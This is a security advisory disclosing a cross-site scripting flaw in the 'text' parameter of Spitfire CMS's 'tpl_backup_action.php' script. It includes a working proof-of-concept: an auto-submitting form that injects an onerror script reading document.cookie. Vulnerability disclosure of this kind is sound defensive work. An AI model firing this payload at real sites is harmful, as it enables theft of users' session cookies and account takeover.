Vulnerability ID: HTB22485 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_spitfire_2.html Product: Spitfire Vendor: Claus Muus ( http://spitfire.clausmuus.de/ ) Vulnerable Version: 1.0.336 and Probably Prior Versions Vendor Notification: 08 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
The vulnerability exists due to failure in the "tpl_backup_action.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/cms/edit/tpl_backup_action.php" method="post" name="main" > <input type="hidden" name="action" value="message" /> <input type="hidden" name="text" value='help text<img src=x onerror=alert(document.cookie)>' /> </form> <script> document.main.submit(); </script>